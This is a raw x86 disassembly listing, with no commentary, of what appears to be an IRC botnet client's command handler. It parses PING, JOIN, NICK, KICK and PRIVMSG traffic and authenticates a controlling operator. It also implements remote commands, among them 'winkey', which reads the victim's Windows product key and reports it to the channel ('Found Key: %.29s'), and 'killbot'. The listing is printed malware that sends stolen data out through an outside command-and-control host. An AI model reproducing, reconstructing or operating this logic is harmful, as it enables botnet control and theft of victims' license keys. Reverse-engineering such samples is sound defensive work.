		call	sub_40D7B0
		push	0Fh
		push	[ebp+arg_10]
		lea	eax, [ebp+var_314]
		push	eax
		mov	[ebp+var_24], ebx
		call	sub_40DB80
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jnz	short loc_4019DF
		xor	eax, eax
		inc	eax
		jmp	loc_401C36
; ---------------------------------------------------------------------------


loc_4019DF:				; CODE XREF: sub_40198E+47j
		push	edi
		push	esi
		lea	eax, [ebp+var_1044]
		push	ebx
		push	eax
		call	sub_40D7B0
		mov	esi, 3FFh
		push	esi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1044]
		push	eax
		call	sub_40DB80
		lea	eax, [ebp+var_1044]
		push	offset asc_419D50 ; " :"
		push	eax
		call	sub_40D810
		mov	[ebp+var_14], eax
		push	esi
		lea	eax, [ebp+var_1044]
		push	eax
		lea	eax, [ebp+var_1444]
		push	eax
		call	sub_40DB80
		mov	edi, offset asc_419D4C ; " "
		lea	eax, [ebp+var_1444]
		push	edi
		push	eax
		call	sub_40E1DE
		xor	esi, esi
		add	esp, 34h
		mov	[ebp+var_B8], eax
		inc	esi


loc_401A49:				; CODE XREF: sub_40198E+CFj
		push	edi
		push	ebx
		call	sub_40E1DE
		mov	[ebp+esi*4+var_B8], eax
		inc	esi
		cmp	esi, 20h
		pop	ecx
		pop	ecx
		jl	short loc_401A49
		mov	esi, [ebp+var_B8]
		cmp	esi, ebx
		jz	loc_401C32
		mov	edi, [ebp+var_B4]
		cmp	edi, ebx
		jz	loc_401C32
		push	100h
		lea	eax, [ebp+var_414]
		push	ebx
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		push	1Fh
		pop	edx


loc_401A93:				; CODE XREF: sub_40198E+13Fj
		lea	ecx, [ebp+edx*4+var_B8]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401ACC
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401ACF
		cmp	[eax+2], bl
		jnz	short loc_401ACF
		movsx	esi, byte ptr [eax+1]
		mov	[ebp+esi+var_414], 1
		mov	[eax], bl
		mov	[ecx], ebx
		mov	edi, [ebp+var_B4]
		mov	esi, [ebp+var_B8]
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401ACC:				; CODE XREF: sub_40198E+110j
		dec	edx
		jns	short loc_401A93


loc_401ACF:				; CODE XREF: sub_40198E+115j
					; sub_40198E+11Aj
		cmp	[ebp+var_3A1], bl
		jz	short loc_401ADE
		mov	[ebp+var_10], 1


loc_401ADE:				; CODE XREF: sub_40198E+147j
		cmp	[ebp+var_3A6], bl
		jz	short loc_401AF0
		mov	[ebp+var_10], ebx
		mov	[ebp+var_4], 1


loc_401AF0:				; CODE XREF: sub_40198E+156j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401B2A
		push	7Fh
		lea	eax, [ebp+var_C44]
		push	esi
		push	eax
		call	sub_40DB80
		push	17h
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		call	sub_40DB80
		lea	eax, [ebp+var_F0]
		push	offset asc_419D48 ; "!"
		push	eax
		call	sub_40E1DE
		add	esp, 20h


loc_401B2A:				; CODE XREF: sub_40198E+165j
		push	esi
		push	offset aPing	; "PING"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_401B74
		inc	edi
		push	edi
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		mov	byte ptr [esi+1], 30h
		call	sub_40170D
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx


loc_401B56:				; CODE XREF: sub_40198E+22Dj
		jnz	loc_401C32
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401B67:				; CODE XREF: sub_40198E+611j
					; sub_40198E+82Fj ...
		push	[ebp+arg_4]
		call	sub_401760
		jmp	loc_404159
; ---------------------------------------------------------------------------


loc_401B74:				; CODE XREF: sub_40198E+1ABj
		push	edi
		push	offset aNotice	; "NOTICE"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_401BBD
		cmp	[ebp+var_70], ebx
		jz	loc_401C32
		push	[ebp+var_74]
		push	offset aPong	; "pong"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_401C32
		push	[ebp+var_70]
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40170D
		add	esp, 0Ch
		cmp	[ebp+arg_20], ebx
		jmp	short loc_401B56
; ---------------------------------------------------------------------------


loc_401BBD:				; CODE XREF: sub_40198E+1F5j
		push	edi
		push	offset a001	; "001"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40476B
		push	edi
		push	offset a005	; "005"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40476B
		push	edi
		push	offset a302	; "302"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_401C3A
		push	offset a@	; "@"
		push	[ebp+var_AC]
		call	sub_40D810
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_401C32
		lea	esi, [eax+1]
		push	9Fh
		push	esi
		push	[ebp+arg_1C]
		call	sub_40DB80
		push	0FFh
		push	esi
		push	offset dword_4B97D8
		call	sub_40DB80
		add	esp, 18h


loc_401C32:				; CODE XREF: sub_40198E+D9j
					; sub_40198E+E7j ...
		xor	eax, eax
		inc	eax


loc_401C35:				; CODE XREF: sub_40198E+CD5j
					; sub_40198E+F49j ...
		pop	edi


loc_401C36:				; CODE XREF: sub_40198E+4Cj
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401C3A:				; CODE XREF: sub_40198E+268j
		push	edi
		push	offset a433	; "433"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_401C8E
		push	1Ch
		lea	eax, [ebp+var_D4]
		push	ebx
		push	eax
		call	sub_40D7B0
		xor	eax, eax
		mov	al, byte_41E138
		push	ebx
		push	eax
		push	dword_41E140
		lea	eax, [ebp+var_D4]
		push	eax
		call	sub_409C91
		lea	eax, [ebp+var_D4]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_407C1D
		add	esp, 28h
		jmp	short loc_401C32
; ---------------------------------------------------------------------------


loc_401C8E:				; CODE XREF: sub_40198E+2BBj
		mov	esi, [ebp+arg_18]
		push	3
		mov	[ebp+var_28], ebx
		pop	edi


loc_401C97:				; CODE XREF: sub_40198E+32Aj
		lea	eax, [ebp+var_C44]
		push	eax
		push	esi
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_401CB1
		mov	[ebp+var_28], 1


loc_401CB1:				; CODE XREF: sub_40198E+31Aj
		add	esi, 80h
		dec	edi
		jnz	short loc_401C97
		mov	edi, [ebp+var_B4]
		push	edi
		push	offset aKick	; "KICK"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_401DC3
		mov	esi, [ebp+arg_18]
		push	3
		pop	edi


loc_401CDB:				; CODE XREF: sub_40198E+3CEj
		cmp	[esi], bl
		jz	short loc_401D55
		push	7Fh
		lea	eax, [ebp+var_C44]
		push	esi
		push	eax
		call	sub_40DB80
		add	esp, 0Ch
		cmp	[ebp+var_AC], ebx
		jz	short loc_401D55
		push	[ebp+var_AC]
		lea	eax, [ebp+var_F0]
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_401D55
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_814]
		push	offset aUserSLoggedOut ; "user %s logged out."
		push	eax
		mov	[esi], bl
		call	sub_40D6BB
		lea	eax, [ebp+var_814]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_401760
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_401648
		add	esp, 20h


loc_401D55:				; CODE XREF: sub_40198E+34Fj
					; sub_40198E+369j ...
		add	esi, 80h
		dec	edi
		jnz	loc_401CDB
		push	[ebp+var_AC]
		push	[ebp+arg_10]
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_401C32
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_401760
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_814]
		push	offset aNiceGameMrS ; "Nice Game Mr %s!"
		push	eax
		call	sub_40D6BB
		push	ebx
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	[ebp+arg_4]
		call	sub_4017B6
		add	esp, 2Ch
		jmp	loc_401C32
; ---------------------------------------------------------------------------


loc_401DC3:				; CODE XREF: sub_40198E+341j
		push	edi
		push	offset aNick	; "NICK"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_401EA3
		mov	esi, [ebp+var_B0]
		inc	esi
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_401C32
		push	[ebp+arg_10]
		lea	eax, [ebp+var_F0]
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_401E0F
		push	0Fh
		push	esi
		push	[ebp+arg_10]
		call	sub_40DB80
		jmp	loc_402B81
; ---------------------------------------------------------------------------


loc_401E0F:				; CODE XREF: sub_40198E+46Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401E14:				; CODE XREF: sub_40198E+4A7j
		cmp	[edi], bl
		jz	short loc_401E2B
		lea	eax, [ebp+var_C44]
		push	eax
		push	edi
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_401E3C


loc_401E2B:				; CODE XREF: sub_40198E+488j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401E14
		jmp	loc_401C32
; ---------------------------------------------------------------------------


loc_401E3C:				; CODE XREF: sub_40198E+49Bj
		lea	eax, [ebp+var_C44]
		push	21h
		push	eax
		call	sub_40E120
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+var_18], eax
		jz	loc_401C32
		push	eax
		call	sub_40D630
		push	[ebp+arg_0]
		mov	edi, eax
		call	sub_40D630
		add	edi, eax
		cmp	edi, 7Eh
		pop	ecx
		pop	ecx
		ja	loc_401C32
		push	[ebp+var_18]
		shl	esi, 7
		push	[ebp+arg_0]
		add	esi, [ebp+arg_18]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_40D6BB
		push	ebx
		lea	eax, [ebp+var_154]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4017B6
		jmp	loc_402ED6
; ---------------------------------------------------------------------------


loc_401EA3:				; CODE XREF: sub_40198E+444j
		push	edi
		push	offset aPart	; "PART"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_401EC5
		push	edi
		push	offset aQuit	; "QUIT"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_401EF2


loc_401EC5:				; CODE XREF: sub_40198E+524j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401ECA:				; CODE XREF: sub_40198E+55Cj
		cmp	[edi], bl
		jz	short loc_401EE0
		push	[ebp+var_B8]
		push	edi
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_401F43


loc_401EE0:				; CODE XREF: sub_40198E+53Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401ECA
		mov	edi, [ebp+var_B4]


loc_401EF2:				; CODE XREF: sub_40198E+535j
		push	edi
		push	offset a353	; "353"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_401FA4
		push	[ebp+var_A8]
		push	[ebp+arg_8]
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_401F24
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_401F24:				; CODE XREF: sub_40198E+58Bj
		push	[ebp+var_A8]
		lea	eax, [ebp+var_814]
		push	offset aJ0in3dChannelS ; "j0in3d channel %s."
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		jmp	loc_402B00
; ---------------------------------------------------------------------------


loc_401F43:				; CODE XREF: sub_40198E+550j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_814]
		push	offset aUserSLoggedOut ; "user %s logged out."
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_401648
		push	[ebp+var_B4]
		push	offset aPart	; "PART"
		call	sub_40D720
		add	esp, 18h
		test	eax, eax
		jnz	loc_401C32
		lea	eax, [ebp+var_814]
		push	eax
		mov	eax, [ebp+var_B8]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401B67
; ---------------------------------------------------------------------------


loc_401FA4:				; CODE XREF: sub_40198E+573j
		push	edi
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_401FF0
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		push	edi
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_401FF5
		push	[ebp+var_B4]
		push	offset a332	; "332"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402660
		cmp	dword_41E12C, ebx
		jz	loc_402660
		jmp	short loc_401FF5
; ---------------------------------------------------------------------------


loc_401FF0:				; CODE XREF: sub_40198E+626j
		mov	edi, offset aNotice ; "NOTICE"


loc_401FF5:				; CODE XREF: sub_40198E+638j
					; sub_40198E+660j
		push	[ebp+var_B4]
		push	esi
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4020DA
		push	[ebp+var_B4]
		push	edi
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4020DA
		mov	eax, [ebp+var_AC]
		inc	[ebp+var_A8]
		push	4
		pop	esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_B0], eax


loc_402039:				; CODE XREF: sub_40198E+80Bj
					; sub_40198E+843j ...
		mov	edi, esi
		shl	edi, 2
		lea	ecx, [ebp+edi+var_B8]
		mov	eax, [ecx]
		lea	edx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_41E338
		mov	[ebp+var_1C], edi
		mov	[ebp+var_8], edx
		mov	[ecx], edx
		jnz	loc_401C32
		push	edx
		push	offset aS_4	; ""
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4022A4
		mov	edi, [ebp+edi+var_B4]
		cmp	edi, ebx
		mov	[ebp+var_C], edi
		jz	loc_401C32
		push	offset asc_419D48 ; "!"
		push	[ebp+var_B8]
		call	sub_40E1DE
		mov	edi, eax
		push	offset dword_419388
		push	ebx
		inc	edi
		call	sub_40E1DE
		push	[ebp+var_C]
		mov	esi, eax
		push	offset aS_2	; "s"
		mov	[ebp+var_18], esi
		call	sub_40D720
		add	esp, 18h
		test	eax, eax
		push	esi
		jz	loc_402201


loc_4020C3:				; CODE XREF: sub_40198E+87Ej
		push	edi
		lea	eax, [ebp+var_814]
		push	offset aFailedAuthSS_ ;	"*failed auth %s(%s)."
		push	eax
		call	sub_40D6BB
		jmp	loc_402AFD
; ---------------------------------------------------------------------------


loc_4020DA:				; CODE XREF: sub_40198E+677j
					; sub_40198E+68Dj
		push	[ebp+var_B4]
		push	edi
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4020F3
		mov	[ebp+var_4], 1


loc_4020F3:				; CODE XREF: sub_40198E+75Cj
		cmp	[ebp+var_B0], ebx
		jz	loc_401C32
		push	offset dword_419C64
		push	[ebp+var_B0]
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40211A
		cmp	[ebp+var_4], ebx
		jz	short loc_402126


loc_40211A:				; CODE XREF: sub_40198E+785j
		lea	eax, [ebp+var_F0]
		mov	[ebp+var_B0], eax


loc_402126:				; CODE XREF: sub_40198E+78Aj
		cmp	[ebp+var_AC], ebx
		jz	loc_401C32
		inc	[ebp+var_AC]
		jz	short loc_402178
		mov	esi, [ebp+arg_10]
		cmp	esi, ebx
		jz	short loc_402178
		push	esi
		call	sub_40D630
		push	eax
		push	[ebp+var_AC]
		push	esi
		call	sub_40E0D0
		push	esi
		call	sub_40D630
		push	eax
		push	[ebp+var_AC]
		push	esi
		call	sub_40E0D0
		add	esp, 20h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_20], esi
		jmp	short loc_40217B
; ---------------------------------------------------------------------------


loc_402178:				; CODE XREF: sub_40198E+7AAj
					; sub_40198E+7B1j
		mov	esi, [ebp+var_20]


loc_40217B:				; CODE XREF: sub_40198E+7E8j
		mov	edi, [ebp+esi*4+var_B8]
		cmp	edi, ebx
		jz	loc_401C32
		push	edi
		push	offset dword_419C58
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402039
		mov	eax, [ebp+var_B0]
		cmp	byte ptr [eax],	23h
		jz	short loc_4021C2
		cmp	byte_41E0E0, bl
		jz	short loc_4021C2
		push	offset byte_41E0E0
		push	eax
		push	offset dword_419C3C
		jmp	loc_401B67
; ---------------------------------------------------------------------------


loc_4021C2:				; CODE XREF: sub_40198E+81Aj
					; sub_40198E+822j
		push	edi
		push	offset dword_419C34
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402039
		mov	eax, [ebp+esi*4+var_B4]
		cmp	eax, ebx
		jz	loc_402039
		mov	ecx, [ebp+var_B0]
		cmp	byte ptr [ecx],	23h
		jz	loc_402039
		push	eax
		push	ecx
		push	offset dword_419C1C
		jmp	loc_401B67
; ---------------------------------------------------------------------------


loc_402201:				; CODE XREF: sub_40198E+72Fj
		call	sub_406C24
		test	eax, eax
		pop	ecx
		jnz	short loc_402211
		push	esi
		jmp	loc_4020C3
; ---------------------------------------------------------------------------


loc_402211:				; CODE XREF: sub_40198E+87Bj
		mov	eax, [ebp+arg_18]
		xor	esi, esi
		mov	[ebp+arg_0], eax


loc_402219:				; CODE XREF: sub_40198E+8B0j
		mov	eax, [ebp+arg_0]
		cmp	[eax], bl
		jnz	short loc_402233
		push	[ebp+var_C]
		push	offset aS_2	; "s"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_402245


loc_402233:				; CODE XREF: sub_40198E+890j
		add	[ebp+arg_0], 80h
		inc	esi
		cmp	esi, 3
		jl	short loc_402219
		jmp	loc_401C32
; ---------------------------------------------------------------------------


loc_402245:				; CODE XREF: sub_40198E+8A3j
		push	7Fh
		lea	eax, [ebp+var_C44]
		shl	esi, 7
		add	esi, [ebp+arg_18]
		push	eax
		push	esi
		call	sub_40DB80
		add	esp, 0Ch
		cmp	[ebp+var_10], ebx
		jnz	short loc_40227B
		push	[ebp+var_4]
		push	offset aOkYouReHere_ ; "Ok You're Here."
		push	[ebp+var_B0]
		push	[ebp+arg_4]
		call	sub_4017B6
		add	esp, 10h


loc_40227B:				; CODE XREF: sub_40198E+8D2j
		push	[ebp+var_18]
		lea	eax, [ebp+var_814]
		push	edi
		push	offset aUserSSLoggedIn ; "user %s(%s) logged in."
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_401648
		add	esp, 14h
		jmp	loc_401C32
; ---------------------------------------------------------------------------


loc_4022A4:				; CODE XREF: sub_40198E+6E1j
		cmp	[ebp+var_28], ebx
		jnz	short loc_4022C3
		push	[ebp+var_B4]
		push	offset a332	; "332"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402660


loc_4022C3:				; CODE XREF: sub_40198E+919j
		xor	esi, esi
		cmp	dword_41E334, ebx
		jle	loc_402443
		mov	[ebp+var_C], offset dword_4B8850


loc_4022D8:				; CODE XREF: sub_40198E+969j
		push	[ebp+var_8]
		push	[ebp+var_C]
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4022FE
		add	[ebp+var_C], 0B8h
		inc	esi
		cmp	esi, dword_41E334
		jl	short loc_4022D8
		jmp	loc_402443
; ---------------------------------------------------------------------------


loc_4022FE:				; CODE XREF: sub_40198E+959j
		push	offset asc_419D50 ; " :"
		push	[ebp+arg_0]
		call	sub_40D810
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	loc_401C32
		mov	cl, byte_41E338
		imul	esi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_41E338
		mov	[eax+3], cl
		push	9Fh
		lea	ecx, dword_4B8868[esi]
		push	ecx
		add	eax, 4
		push	eax
		call	sub_40DB80
		lea	eax, dword_4B8850[esi]
		add	esp, 0Ch
		mov	[ebp+var_C], 0Fh
		mov	[ebp+var_18], eax
		lea	esi, [ebp+edi+var_78]


loc_402359:				; CODE XREF: sub_40198E+A56j
		push	[ebp+var_C]
		lea	eax, [ebp+var_38]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_38]
		push	eax
		push	[ebp+arg_0]
		call	sub_40D810
		add	esp, 14h
		test	eax, eax
		jz	short loc_4023B2
		cmp	[esi], ebx
		jz	short loc_4023B6
		push	[ebp+var_18]
		call	sub_40D630
		add	[ebp+var_14], eax
		pop	ecx
		jz	short loc_4023DB
		push	dword ptr [esi-4]
		push	[ebp+var_14]
		call	sub_40D810
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_4023DB
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		push	[ebp+arg_0]
		call	sub_401822
		add	esp, 0Ch
		jmp	short loc_4023DB
; ---------------------------------------------------------------------------


loc_4023B2:				; CODE XREF: sub_40198E+9EDj
		cmp	[esi], ebx
		jnz	short loc_4023DB


loc_4023B6:				; CODE XREF: sub_40198E+9F1j
		push	2
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_40DB80
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_2A], bl
		call	sub_401822
		add	esp, 18h


loc_4023DB:				; CODE XREF: sub_40198E+9FFj
					; sub_40198E+A10j ...
		dec	[ebp+var_C]
		sub	esi, 4
		cmp	[ebp+var_C], ebx
		jg	loc_402359
		lea	eax, [ebp+edi+var_78]
		mov	[ebp+var_C], 10h
		mov	esi, eax


loc_4023F7:				; CODE XREF: sub_40198E+AACj
		push	[ebp+var_C]
		lea	eax, [ebp+var_38]
		push	offset aD	; "$%d"
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_38]
		push	eax
		push	[ebp+arg_0]
		call	sub_40D810
		add	esp, 14h
		test	eax, eax
		jz	short loc_402431
		mov	eax, [esi]
		cmp	eax, ebx
		jz	short loc_402431
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		push	[ebp+arg_0]
		call	sub_401822
		add	esp, 0Ch


loc_402431:				; CODE XREF: sub_40198E+A8Bj
					; sub_40198E+A91j
		dec	[ebp+var_C]
		sub	esi, 4
		cmp	[ebp+var_C], ebx
		jg	short loc_4023F7
		mov	[ebp+var_18], 1


loc_402443:				; CODE XREF: sub_40198E+93Dj
					; sub_40198E+96Bj
		mov	eax, [ebp+var_8]
		mov	al, [eax]
		cmp	al, byte_41E338
		jz	short loc_402459
		cmp	[ebp+var_18], ebx
		jz	loc_40260B


loc_402459:				; CODE XREF: sub_40198E+AC0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_401822
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aUser	; "$user"
		push	edi
		call	sub_401822
		push	[ebp+var_B0]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_401822
		push	ebx
		push	ebx
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_409C91
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_401822
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_0 ; "$server"
		push	edi
		call	sub_401822
		mov	esi, offset aChr ; "$chr("
		push	esi
		push	edi
		call	sub_40D810
		add	esp, 14h
		jmp	loc_40258A
; ---------------------------------------------------------------------------


loc_4024CA:				; CODE XREF: sub_40198E+BFEj
		push	esi
		push	[ebp+arg_0]
		call	sub_40D810
		mov	edi, eax
		push	4
		lea	eax, [edi+5]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_40DB80
		lea	eax, [ebp+var_38]
		push	offset asc_419BB4 ; ")"
		push	eax
		call	sub_40E1DE
		add	esp, 1Ch
		cmp	[ebp+var_38], 30h
		jl	short loc_402501
		cmp	[ebp+var_38], 39h
		jle	short loc_402514


loc_402501:				; CODE XREF: sub_40198E+B6Bj
		push	3
		lea	eax, [ebp+var_38]
		push	offset a63	; "63"
		push	eax
		call	sub_40DB80
		add	esp, 0Ch


loc_402514:				; CODE XREF: sub_40198E+B71j
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_40E0C8
		test	eax, eax
		pop	ecx
		jle	short loc_402531
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_40E0C8
		pop	ecx
		mov	[ebp+var_2C], al
		jmp	short loc_402542
; ---------------------------------------------------------------------------


loc_402531:				; CODE XREF: sub_40198E+B92j
		call	sub_40E04D
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_2C], dl


loc_402542:				; CODE XREF: sub_40198E+BA1j
		lea	eax, [ebp+var_38]
		push	eax
		mov	[ebp+var_2B], bl
		call	sub_40D630
		push	0Ch
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_40D7B0
		mov	eax, [ebp+var_18]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	sub_40DB80
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		push	[ebp+arg_0]
		call	sub_401822
		push	esi
		push	[ebp+arg_0]
		call	sub_40D810
		add	esp, 30h


loc_40258A:				; CODE XREF: sub_40198E+B37j
		test	eax, eax
		jnz	loc_4024CA
		mov	esi, 3FFh
		push	esi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1044]
		push	eax
		call	sub_40DB80
		push	esi
		lea	eax, [ebp+var_1044]
		push	eax
		lea	eax, [ebp+var_1444]
		push	eax
		call	sub_40DB80
		mov	esi, offset asc_419D4C ; " "
		lea	eax, [ebp+var_1444]
		push	esi
		push	eax
		call	sub_40E1DE
		xor	edi, edi
		add	esp, 20h
		mov	[ebp+var_B8], eax
		inc	edi


loc_4025D9:				; CODE XREF: sub_40198E+C5Fj
		push	esi
		push	ebx
		call	sub_40E1DE
		mov	[ebp+edi*4+var_B8], eax
		inc	edi
		cmp	edi, 20h
		pop	ecx
		pop	ecx
		jl	short loc_4025D9
		mov	eax, [ebp+var_1C]
		lea	eax, [ebp+eax+var_B8]
		mov	ecx, [eax]
		cmp	ecx, ebx
		jz	loc_401C32
		mov	edi, [ebp+var_1C]
		add	ecx, 3
		mov	[eax], ecx


loc_40260B:				; CODE XREF: sub_40198E+AC5j
		mov	eax, [ebp+edi+var_B8]
		push	eax
		push	offset aRnick	; "rnick"
		mov	[ebp+var_8], eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402668
		cmp	[ebp+var_3A4], bl
		push	[ebp+edi+var_B4]
		setnz	al
		push	eax
		push	dword_41E140
		lea	eax, [ebp+var_314]
		push	eax
		call	sub_409C91
		lea	eax, [ebp+var_314]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_407C1D


loc_40265D:				; CODE XREF: sub_40198E+20DCj
		add	esp, 1Ch


loc_402660:				; CODE XREF: sub_40198E+64Ej
					; sub_40198E+65Aj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401C35
; ---------------------------------------------------------------------------


loc_402668:				; CODE XREF: sub_40198E+C96j
		push	[ebp+var_8]
		push	offset aWinkey	; "winkey"
		call	sub_40D720
		test	eax, eax
		mov	esi, [ebp+arg_4]
		pop	ecx
		pop	ecx
		jnz	loc_402778
		lea	eax, [ebp+var_D8]
		push	1
		push	eax
		call	sub_407C63
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_402744
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_814]
		push	offset aFoundKey_29s ; "Found Key: %.29s"
		push	eax
		call	sub_40D6BB
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	esi
		call	sub_4017B6
		add	esp, 1Ch


loc_4026CB:				; CODE XREF: sub_40198E+DB9j
					; sub_40198E+DE5j ...
		push	[ebp+var_8]
		push	offset aKillbot	; "killbot"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402703
		cmp	[ebp+var_10], ebx
		jnz	short loc_4026FC
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	esi
		call	sub_4017B6
		add	esp, 10h


